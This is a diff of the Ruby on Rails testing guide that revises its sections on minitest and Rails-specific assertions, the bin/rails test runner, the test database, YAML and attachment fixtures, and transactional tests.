 ```ruby
 test "should report error" do
@@ -283,95 +361,137 @@ end
 
 This test should now pass.
 
-### Available Assertions
+[`config.active_support.test_order`]:
+    configuring.html#config-active-support-test-order
+
+### Minitest Assertions
 
-By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.
+By now you've caught a glimpse of some of the assertions that are available.
+Assertions are the foundation blocks of testing. They are the ones that actually
+perform the checks to ensure that things are going as planned.
 
 Here's an extract of the assertions you can use with
-[`Minitest`](https://github.com/seattlerb/minitest), the default testing library
+[`minitest`](https://github.com/minitest/minitest), the default testing library
 used by Rails. The `[msg]` parameter is an optional string message you can
 specify to make your test failure messages clearer.
 
-| Assertion                                                        | Purpose |
-| ---------------------------------------------------------------- | ------- |
-| `assert( test, [msg] )`                                          | Ensures that `test` is true.|
-| `assert_not( test, [msg] )`                                      | Ensures that `test` is false.|
-| `assert_equal( expected, actual, [msg] )`                        | Ensures that `expected == actual` is true.|
-| `assert_not_equal( expected, actual, [msg] )`                    | Ensures that `expected != actual` is true.|
-| `assert_same( expected, actual, [msg] )`                         | Ensures that `expected.equal?(actual)` is true.|
-| `assert_not_same( expected, actual, [msg] )`                     | Ensures that `expected.equal?(actual)` is false.|
-| `assert_nil( obj, [msg] )`                                       | Ensures that `obj.nil?` is true.|
-| `assert_not_nil( obj, [msg] )`                                   | Ensures that `obj.nil?` is false.|
-| `assert_empty( obj, [msg] )`                                     | Ensures that `obj` is `empty?`.|
-| `assert_not_empty( obj, [msg] )`                                 | Ensures that `obj` is not `empty?`.|
-| `assert_match( regexp, string, [msg] )`                          | Ensures that a string matches the regular expression.|
-| `assert_no_match( regexp, string, [msg] )`                       | Ensures that a string doesn't match the regular expression.|
-| `assert_includes( collection, obj, [msg] )`                      | Ensures that `obj` is in `collection`.|
-| `assert_not_includes( collection, obj, [msg] )`                  | Ensures that `obj` is not in `collection`.|
-| `assert_in_delta( expected, actual, [delta], [msg] )`            | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
-| `assert_not_in_delta( expected, actual, [delta], [msg] )`        | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
-| `assert_throws( symbol, [msg] ) { block }`                       | Ensures that the given block throws the symbol.|
-| `assert_raises( exception1, exception2, ... ) { block }`         | Ensures that the given block raises one of the given exceptions.|
-| `assert_instance_of( class, obj, [msg] )`                        | Ensures that `obj` is an instance of `class`.|
-| `assert_not_instance_of( class, obj, [msg] )`                    | Ensures that `obj` is not an instance of `class`.|
-| `assert_kind_of( class, obj, [msg] )`                            | Ensures that `obj` is an instance of `class` or is descending from it.|
-| `assert_not_kind_of( class, obj, [msg] )`                        | Ensures that `obj` is not an instance of `class` and is not descending from it.|
-| `assert_respond_to( obj, symbol, [msg] )`                        | Ensures that `obj` responds to `symbol`.|
-| `assert_not_respond_to( obj, symbol, [msg] )`                    | Ensures that `obj` does not respond to `symbol`.|
-| `assert_operator( obj1, operator, [obj2], [msg] )`               | Ensures that `obj1.operator(obj2)` is true.|
-| `assert_not_operator( obj1, operator, [obj2], [msg] )`           | Ensures that `obj1.operator(obj2)` is false.|
-| `assert_predicate ( obj, predicate, [msg] )`                     | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`|
-| `assert_not_predicate ( obj, predicate, [msg] )`                 | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`|
-| `flunk( [msg] )`                                                 | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
-
-The above are a subset of assertions that minitest supports. For an exhaustive &
-more up-to-date list, please check
-[Minitest API documentation](http://docs.seattlerb.org/minitest/), specifically
+| Assertion                                                      | Purpose |
+| -------------------------------------------------------------- | ------- |
+| `assert(test, [msg])`                                          | Ensures that `test` is true.|
+| `assert_not(test, [msg])`                                      | Ensures that `test` is false.|
+| `assert_equal(expected, actual, [msg])`                        | Ensures that `expected == actual` is true.|
+| `assert_not_equal(expected, actual, [msg])`                    | Ensures that `expected != actual` is true.|
+| `assert_same(expected, actual, [msg])`                         | Ensures that `expected.equal?(actual)` is true.|
+| `assert_not_same(expected, actual, [msg])`                     | Ensures that `expected.equal?(actual)` is false.|
+| `assert_nil(obj, [msg])`                                       | Ensures that `obj.nil?` is true.|
+| `assert_not_nil(obj, [msg])`                                   | Ensures that `obj.nil?` is false.|
+| `assert_empty(obj, [msg])`                                     | Ensures that `obj` is `empty?`.|
+| `assert_not_empty(obj, [msg])`                                 | Ensures that `obj` is not `empty?`.|
+| `assert_match(regexp, string, [msg])`                          | Ensures that a string matches the regular expression.|
+| `assert_no_match(regexp, string, [msg])`                       | Ensures that a string doesn't match the regular expression.|
+| `assert_includes(collection, obj, [msg])`                      | Ensures that `obj` is in `collection`.|
+| `assert_not_includes(collection, obj, [msg])`                  | Ensures that `obj` is not in `collection`.|
+| `assert_in_delta(expected, actual, [delta], [msg])`            | Ensures that the numbers `expected` and `actual` are within `delta` of each other.|
+| `assert_not_in_delta(expected, actual, [delta], [msg])`        | Ensures that the numbers `expected` and `actual` are not within `delta` of each other.|
+| `assert_in_epsilon(expected, actual, [epsilon], [msg])`        | Ensures that the numbers `expected` and `actual` have a relative error less than `epsilon`.|
+| `assert_not_in_epsilon(expected, actual, [epsilon], [msg])`    | Ensures that the numbers `expected` and `actual` have a relative error not less than `epsilon`.|
+| `assert_throws(symbol, [msg]) { block }`                       | Ensures that the given block throws the symbol.|
+| `assert_raises(exception1, exception2, ...) { block }`         | Ensures that the given block raises one of the given exceptions.|
+| `assert_instance_of(class, obj, [msg])`                        | Ensures that `obj` is an instance of `class`.|
+| `assert_not_instance_of(class, obj, [msg])`                    | Ensures that `obj` is not an instance of `class`.|
+| `assert_kind_of(class, obj, [msg])`                            | Ensures that `obj` is an instance of `class` or is descending from it.|
+| `assert_not_kind_of(class, obj, [msg])`                        | Ensures that `obj` is not an instance of `class` and is not descending from it.|
+| `assert_respond_to(obj, symbol, [msg])`                        | Ensures that `obj` responds to `symbol`.|
+| `assert_not_respond_to(obj, symbol, [msg])`                    | Ensures that `obj` does not respond to `symbol`.|
+| `assert_operator(obj1, operator, [obj2], [msg])`               | Ensures that `obj1.operator(obj2)` is true.|
+| `assert_not_operator(obj1, operator, [obj2], [msg])`           | Ensures that `obj1.operator(obj2)` is false.|
+| `assert_predicate(obj, predicate, [msg])`                      | Ensures that `obj.predicate` is true, e.g. `assert_predicate str, :empty?`|
+| `assert_not_predicate(obj, predicate, [msg])`                  | Ensures that `obj.predicate` is false, e.g. `assert_not_predicate str, :empty?`|
+| `flunk([msg])`                                                 | Ensures failure. This is useful to explicitly mark a test that isn't finished yet.|
+
+The above are a subset of assertions that minitest supports. For an exhaustive
+and more up-to-date list, please check the [minitest API
+documentation](http://docs.seattlerb.org/minitest/Minitest), specifically
 [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html).
 
-Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.
+With minitest you can add your own assertions. In fact, that's exactly what
+Rails does. It includes some specialized assertions to make your life easier.
 
-NOTE: Creating your own assertions is an advanced topic that we won't cover in this tutorial.
+NOTE: Creating your own assertions is a topic that we won't cover in depth in
+this guide.
 
-### Rails Specific Assertions
+### Rails-Specific Assertions
 
 Rails adds some custom assertions of its own to the `minitest` framework:
 
 | Assertion                                                                         | Purpose |
 | --------------------------------------------------------------------------------- | ------- |
-| [`assert_difference(expressions, difference = 1, message = nil) {...}`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference) | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
-| [`assert_no_difference(expressions, message = nil, &block)`](http://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference) | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
-| [`assert_nothing_raised { block }`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html#method-i-assert_nothing_raised) | Ensures that the given block doesn't raise any exceptions.|
-| [`assert_recognizes(expected_options, path, extras={}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes) | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
-| [`assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates) | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
-| [`assert_response(type, message = nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response) | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
-| [`assert_redirected_to(options = {}, message=nil)`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to) | Asserts that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that `assert_redirected_to(controller: "weblog")` will also match the redirection of `redirect_to(controller: "weblog", action: "show")` and so on. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.|
+| [`assert_difference(expressions, difference = 1, message = nil) {...}`][] | Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.|
+| [`assert_no_difference(expressions, message = nil, &block)`][] | Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.|
+| [`assert_changes(expressions, message = nil, from:, to:, &block)`][] | Test that the result of evaluating an expression is changed after invoking the passed in block.|
+| [`assert_no_changes(expressions, message = nil, &block)`][] | Test the result of evaluating an expression is not changed after invoking the passed in block.|
+| [`assert_nothing_raised { block }`][] | Ensures that the given block doesn't raise any exceptions.|
+| [`assert_recognizes(expected_options, path, extras = {}, message = nil)`][] | Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.|
+| [`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`][] | Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extra parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.|
+| [`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`][] | Asserts that `path` and `options` match both ways; in other words, it verifies that `path` generates `options` and then that `options` generates `path`. This essentially combines `assert_recognizes` and `assert_generates` into one step. The extras hash allows you to specify options that would normally be provided as a query string to the action. The message parameter allows you to specify a custom error message to display upon failure.|
+| [`assert_response(type, message = nil)`][] | Asserts that the response comes with a specific status code. You can specify `:success` to indicate 200-299, `:redirect` to indicate 300-399, `:missing` to indicate 404, or `:error` to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see [full list of status codes](https://rubydoc.info/gems/rack/Rack/Utils#HTTP_STATUS_CODES-constant) and how their [mapping](https://rubydoc.info/gems/rack/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant) works.|
+| [`assert_redirected_to(options = {}, message = nil)`][] | Asserts that the response is a redirect to a URL matching the given options. You can also pass named routes such as `assert_redirected_to root_path` and Active Record objects such as `assert_redirected_to @article`.|
+| [`assert_queries_count(count = nil, include_schema: false, &block)`][] | Asserts that `&block` generates an `int` number of SQL queries.|
+| [`assert_no_queries(include_schema: false, &block)`][] | Asserts that `&block` generates no SQL queries.|
+| [`assert_queries_match(pattern, count: nil, include_schema: false, &block)`][] | Asserts that `&block` generates SQL queries that match the pattern.|
+| [`assert_no_queries_match(pattern, &block)`][] | Asserts that `&block` generates no SQL queries that match the pattern.|
+| [`assert_error_reported(class) { block }`][] | Asserts that the error class has been reported, e.g. `assert_error_reported IOError { Rails.error.report(IOError.new("Oops")) }`|
+| [`assert_no_error_reported { block }`][] | Asserts that no errors have been reported, e.g. `assert_no_error_reported { perform_service }`|
+
+[`assert_difference(expressions, difference = 1, message = nil) {...}`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_difference
+[`assert_no_difference(expressions, message = nil, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_difference
+[`assert_changes(expressions, message = nil, from:, to:, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_changes
+[`assert_no_changes(expressions, message = nil, &block)`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_no_changes
+[`assert_nothing_raised { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/Assertions.html#method-i-assert_nothing_raised
+[`assert_recognizes(expected_options, path, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_recognizes
+[`assert_generates(expected_path, options, defaults = {}, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_generates
+[`assert_routing(expected_path, options, defaults = {}, extras = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html#method-i-assert_routing
+[`assert_response(type, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_response
+[`assert_redirected_to(options = {}, message = nil)`]: https://api.rubyonrails.org/classes/ActionDispatch/Assertions/ResponseAssertions.html#method-i-assert_redirected_to
+[`assert_queries_count(count = nil, include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_count
+[`assert_no_queries(include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries
+[`assert_queries_match(pattern, count: nil, include_schema: false, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_queries_match
+[`assert_no_queries_match(pattern, &block)`]: https://api.rubyonrails.org/classes/ActiveRecord/Assertions/QueryAssertions.html#method-i-assert_no_queries_match
+[`assert_error_reported(class) { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_error_reported
+[`assert_no_error_reported { block }`]: https://api.rubyonrails.org/classes/ActiveSupport/Testing/ErrorReporterAssertions.html#method-i-assert_no_error_reported
 
 You'll see the usage of some of these assertions in the next chapter.
 
-### A Brief Note About Test Cases
+### Assertions in Test Cases
 
-All the basic assertions such as `assert_equal` defined in `Minitest::Assertions` are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:
+All the basic assertions such as `assert_equal` defined in
+`Minitest::Assertions` are also available in the classes we use in our own test
+cases. In fact, Rails provides the following classes for you to inherit from:
 
-* [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html)
-* [`ActionMailer::TestCase`](http://api.rubyonrails.org/classes/ActionMailer/TestCase.html)
-* [`ActionView::TestCase`](http://api.rubyonrails.org/classes/ActionView/TestCase.html)
-* [`ActionDispatch::IntegrationTest`](http://api.rubyonrails.org/classes/ActionDispatch/IntegrationTest.html)
-* [`ActiveJob::TestCase`](http://api.rubyonrails.org/classes/ActiveJob/TestCase.html)
+* [`ActiveSupport::TestCase`](https://api.rubyonrails.org/classes/ActiveSupport/TestCase.html)
+* [`ActionMailer::TestCase`](https://api.rubyonrails.org/classes/ActionMailer/TestCase.html)
+* [`ActionView::TestCase`](https://api.rubyonrails.org/classes/ActionView/TestCase.html)
+* [`ActiveJob::TestCase`](https://api.rubyonrails.org/classes/ActiveJob/TestCase.html)
+* [`ActionDispatch::Integration::Session`](https://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html)
+* [`ActionDispatch::SystemTestCase`](https://api.rubyonrails.org/classes/ActionDispatch/SystemTestCase.html)
+* [`Rails::Generators::TestCase`](https://api.rubyonrails.org/classes/Rails/Generators/TestCase.html)
 
-Each of these classes include `Minitest::Assertions`, allowing us to use all of the basic assertions in our tests.
+Each of these classes include `Minitest::Assertions`, allowing us to use all of
+the basic assertions in your tests.
 
-NOTE: For more information on `Minitest`, refer to [its
+TIP: For more information on `minitest`, refer to the [minitest
 documentation](http://docs.seattlerb.org/minitest).
 
 ### The Rails Test Runner
 
 We can run all of our tests at once by using the `bin/rails test` command.
 
-Or we can run a single test file by passing the `bin/rails test` command the filename containing the test cases.
+Or we can run a single test file by appending the filename to the `bin/rails
+test` command.
 
 ```bash
 $ bin/rails test test/models/article_test.rb
+Running 1 tests in a single process (parallelization threshold is 50)
 Run options: --seed 1559
 
 # Running:
@@ -390,6 +510,7 @@ You can also run a particular test method from the test case by providing the
 
 ```bash
 $ bin/rails test test/models/article_test.rb -n test_the_truth
+Running 1 tests in a single process (parallelization threshold is 50)
 Run options: -n test_the_truth --seed 43583
 
 # Running:
@@ -407,85 +528,117 @@ You can also run a test at a specific line by providing the line number.
 $ bin/rails test test/models/article_test.rb:6 # run specific test and line
 ```
 
-You can also run an entire directory of tests by providing the path to the directory.
+You can also run a range of tests by providing the line range.
+
+```bash
+$ bin/rails test test/models/article_test.rb:6-20 # runs tests from line 6 to 20
+```
+
+You can also run an entire directory of tests by providing the path to the
+directory.
 
 ```bash
 $ bin/rails test test/controllers # run all tests from specific directory
 ```
 
-The test runner also provides a lot of other features like failing fast, deferring test output
-at the end of test run and so on. Check the documentation of the test runner as follows:
+The test runner also provides a lot of other features like failing fast, showing
+verbose progress, and so on. Check the documentation of the test runner using
+the command below:
 
 ```bash
 $ bin/rails test -h
+Usage:
+  bin/rails test [PATHS...]
+
+Run tests except system tests
+
+Examples:
+    You can run a single test by appending a line number to a filename:
+
+        bin/rails test test/models/user_test.rb:27
+
+    You can run multiple tests with in a line range by appending the line range to a filename:
+
+        bin/rails test test/models/user_test.rb:10-20
+
+    You can run multiple files and directories at the same time:
+
+        bin/rails test test/controllers test/integration/login_test.rb
+
+    By default test failures and errors are reported inline during a run.
+
 minitest options:
     -h, --help                       Display this help.
+        --no-plugins                 Bypass minitest plugin auto-loading (or set $MT_NO_PLUGINS).
     -s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
     -v, --verbose                    Verbose. Show progress processing files.
+        --show-skips                 Show skipped at the end of run.
     -n, --name PATTERN               Filter run on /regexp/ or string.
         --exclude PATTERN            Exclude /regexp/ or string from run.
+    -S, --skip CODES                 Skip reporting of certain types of results (eg E).
 
 Known extensions: rails, pride
-
-Usage: bin/rails test [options] [files or directories]
-You can run a single test by appending a line number to a filename:
-
-    bin/rails test test/models/user_test.rb:27
-
-You can run multiple files and directories at the same time:
-
-    bin/rails test test/controllers test/integration/login_test.rb
-
-By default test failures and errors are reported inline during a run.
-
-Rails options:
+    -w, --warnings                   Run with Ruby warnings enabled
     -e, --environment ENV            Run tests in the ENV environment
     -b, --backtrace                  Show the complete backtrace
     -d, --defer-output               Output test failures and errors after the test run
     -f, --fail-fast                  Abort test run on first failure or error
     -c, --[no-]color                 Enable color in the output
+        --profile [COUNT]            Enable profiling of tests and list the slowest test cases (default: 10)
+    -p, --pride                      Pride. Show your testing pride!
 ```
 
 The Test Database
 -----------------
 
-Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.
-
-By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`.
+Just about every Rails application interacts heavily with a database and so your
+tests will need a database to interact with as well. This section covers how to
+set up this test database and populate it with sample data.
 
-A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases.
+As mentioned in the [Test Environment section](#the-test-environment), every
+Rails application has three environments: development, test, and production. The
+database for each one of them is configured in `config/database.yml`.
 
+A dedicated test database allows you to set up and interact with test data in
+isolation. This way your tests can interact with test data with confidence,
+without worrying about the data in the development or production databases.
 
-### Maintaining the test database schema
+### Maintaining the Test Database Schema
 
-In order to run your tests, your test database will need to have the current
-structure. The test helper checks whether your test database has any pending
-migrations. It will try to load your `db/schema.rb` or `db/structure.sql`
-into the test database. If migrations are still pending, an error will be
-raised. Usually this indicates that your schema is not fully migrated. Running
-the migrations against the development database (`bin/rails db:migrate`) will
-bring the schema up to date.
+In order to run your tests, your test database needs the current schema. The
+test helper checks whether your test database has any pending migrations. It
+will try to load your `db/schema.rb` or `db/structure.sql` into the test
+database. If migrations are still pending, an error will be raised. Usually this
+indicates that your schema is not fully migrated. Running the migrations (using
+`bin/rails db:migrate RAILS_ENV=test`) will bring the schema up to date.
 
-NOTE: If there were modifications to existing migrations, the test database needs to
-be rebuilt. This can be done by executing `bin/rails db:test:prepare`.
+NOTE: If there were modifications to existing migrations, the test database
+needs to be rebuilt. This can be done by executing `bin/rails test:db`.
 
-### The Low-Down on Fixtures
+### Fixtures
 
-For good tests, you'll need to give some thought to setting up test data.
-In Rails, you can handle this by defining and customizing fixtures.
-You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
+For good tests, you'll need to give some thought to setting up test data. In
+Rails, you can handle this by defining and customizing fixtures. You can find
+comprehensive documentation in the [Fixtures API
+documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
 
-#### What Are Fixtures?
+#### What are Fixtures?
 
-_Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model.
+_Fixtures_ is a fancy word for a consistent set of test data. Fixtures allow you to populate your
+testing database with predefined data before your tests run. Fixtures are
+database independent and written in YAML. There is one file per model.
 
-NOTE: Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case.
+NOTE: Fixtures are not designed to create every object that your tests need, and
+are best managed when only used for default data that can be applied to the
+common case.
 
-You'll find fixtures under your `test/fixtures` directory. When you run `rails generate model` to create a new model, Rails automatically creates fixture stubs in this directory.
+Fixtures are stored in your `test/fixtures` directory.
 
 #### YAML
 
-YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`).
+[YAML](https://en.wikipedia.org/wiki/YAML) is a human-readable data serialization language.
+YAML-formatted fixtures are a human-friendly way to describe your sample data.
+These types of fixtures have the **.yml** file extension (as in `users.yml`).
 
 Here's a sample YAML fixture file:
 
@@ -502,37 +655,102 @@ steve:
   profession: guy with keyboard
 ```
 
-Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.
+Each fixture is given a name followed by an indented list of colon-separated
+key/value pairs. Records are typically separated by a blank line. You can place
+comments in a fixture file by using the # character in the first column.
 
-If you are working with [associations](/association_basics.html), you can simply
-define a reference node between two different fixtures. Here's an example with
-a `belongs_to`/`has_many` association:
+If you are working with [associations](association_basics.html), you can define
+a reference node between two different fixtures. Here's an example with a
+`belongs_to`/`has_many` association:
 
 ```yaml
-# In fixtures/categories.yml
-about:
-  name: About
+# test/fixtures/categories.yml
+web_frameworks:
+  name: Web Frameworks
+```
 
-# In fixtures/articles.yml
+```yaml
+# test/fixtures/articles.yml
 first:
   title: Welcome to Rails!
-  body: Hello world!
-  category: about
+  category: web_frameworks
+```
+
+```yaml
+# test/fixtures/action_text/rich_texts.yml
+first_content:
+  record: first (Article)
+  name: content
+  body: <div>Hello, from <strong>a fixture</strong></div>
+```
+
+Notice the `category` key of the `first` Article found in
+`fixtures/articles.yml` has a value of `web_frameworks`, and that the `record` key of the
+`first_content` entry found in `fixtures/action_text/rich_texts.yml` has a value
+of `first (Article)`. This hints to Active Record to load the Category `web_frameworks`
+found in `fixtures/categories.yml` for the former, and Action Text to load the
+Article `first` found in `fixtures/articles.yml` for the latter.
+
+NOTE: For associations to reference one another by name, you can use the fixture
+name instead of specifying the `id:` attribute on the associated fixtures. Rails
+will auto-assign a primary key to be consistent between runs. For more
+information on this association behavior please read the [Fixtures API
+documentation](https://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
+
+#### File Attachment Fixtures
+
+Like other Active Record-backed models, Active Storage attachment records
+inherit from ActiveRecord::Base instances and can therefore be populated by
+fixtures.
+
+Consider an `Article` model that has an associated image as a `thumbnail`
+attachment, along with fixture data YAML:
+
+```ruby
+class Article < ApplicationRecord
+  has_one_attached :thumbnail
+end
+```
+
+```yaml
+# test/fixtures/articles.yml
+first:
+  title: An Article
+```
+
+Assuming that there is an [image/png][] encoded file at
+`test/fixtures/files/first.png`, the following YAML fixture entries will
+generate the related `ActiveStorage::Blob` and `ActiveStorage::Attachment`
+records:
+
+```yaml
+# test/fixtures/active_storage/blobs.yml
+first_thumbnail_blob: <%= ActiveStorage::FixtureSet.blob filename: "first.png" %>
 ```
 
-Notice the `category` key of the `first` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`.
+```yaml
+# test/fixtures/active_storage/attachments.yml
+first_thumbnail_attachment:
+  name: thumbnail
+  record: first (Article)
+  blob: first_thumbnail_blob
+```
 
-NOTE: For associations to reference one another by name, you can use the fixture name instead of specifying the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html).
+[image/png]:
+    https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#image_types
 
-#### ERB'in It Up
+#### Embedding Code in Fixtures
 
-ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
+ERB allows you to embed Ruby code within templates. The YAML fixture format is
+pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to
+help you generate some sample data. For example, the following code generates a
+thousand users:
 
 ```erb
 <% 1000.times do |n| %>
-user_<%= n %>:
-  username: <%= "user#{n}" %>
-  email: <%= "user#{n}@example.com" %>
+  user_<%= n %>:
+    username: <%= "user#{n}" %>
+    email: <%= "user#{n}@example.com" %>
 <% end %>
 ```
 
@@ -545,11 +763,19 @@ default. Loading involves three steps:
 2. Load the fixture data into the table
 3. Dump the fixture data into a method in case you want to access it directly
 
-TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)).
+TIP: In order to remove existing data from the database, Rails tries to disable
+referential integrity triggers (like foreign keys and check constraints). If you
+are getting permission errors on running tests, make sure the database user has
+the permission to disable these triggers in the testing environment. (In
+PostgreSQL, only superusers can disable all triggers. Read more about
+[permissions in the PostgreSQL
+docs](https://www.postgresql.org/docs/current/sql-altertable.html)).
 
-#### Fixtures are Active Record objects
+#### Fixtures are Active Record Objects
 
-Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example:
+Fixtures are instances of Active Record. As mentioned above, you can access the
+object directly because it is automatically available as a method whose scope is
+local to the test case. For example:
 
 ```ruby
 # this will return the User object for the fixture named david
@@ -558,169 +784,117 @@ users(:david)
 # this will return the property for david called id
 users(:david).id
 
-# one can also access methods available on the User class
+# methods available to the User object can also be accessed
 david = users(:david)
 david.call(david.partner)
 ```
 
-To get multiple fixtures at once, you can pass in a list of fixture names. For example:
+To get multiple fixtures at once, you can pass in a list of fixture names. For
+example:
 
 ```ruby
 # this will return an array containing the fixtures david and steve
 users(:david, :steve)
 ```
 
+### Transactions
 
-Model Testing
--------------
-
-Model tests are used to test the various models of your application.
-
-Rails model tests are stored under the `test/models` directory. Rails provides
-a generator to create a model test skeleton for you.
-
-```bash
-$ bin/rails generate test_unit:model article title:string body:text
-create  test/models/article_test.rb
-create  test/fixtures/articles.yml
-```
-
-Model tests don't have their own superclass like `ActionMailer::TestCase` instead they inherit from [`ActiveSupport::TestCase`](http://api.rubyonrails.org/classes/ActiveSupport/TestCase.html).
-
-
-Integration Testing
--------------------
-
-Integration tests are used to test how various parts of your application interact. They are generally used to test important workflows within our application.
-
-For creating Rails integration tests, we use the `test/integration` directory for our application. Rails provides a generator to create an integration test skeleton for us.
-
-```bash
-$ bin/rails generate integration_test user_flows
-      exists  test/integration/
-      create  test/integration/user_flows_test.rb
-```
-
-Here's what a freshly-generated integration test looks like:
+By default, Rails automatically wraps tests in a database transaction that is
+rolled back once completed. This makes tests independent of each other and means
+that changes to the database are only visible within a single test.
 
 ```ruby
-require 'test_helper'
-
-class UserFlowsTest < ActionDispatch::IntegrationTest
-  # test "the truth" do
-  #   assert true
-  # end
+class MyTest < ActiveSupport::TestCase
+  test "newly created users are active by default" do
+    # Since the test is implicitly wrapped in a database transaction, the user
+    # created here won't be seen by other tests.
+    assert User.create.active?
+  end
 end
 ```
 
-Here the test is inheriting from `ActionDispatch::IntegrationTest`. This makes some additional helpers available for us to use in our integration tests.
-
-### Helpers Available for Integration Tests
-
-In addition to the standard testing helpers, inheriting from `ActionDispatch::IntegrationTest` comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from.
-
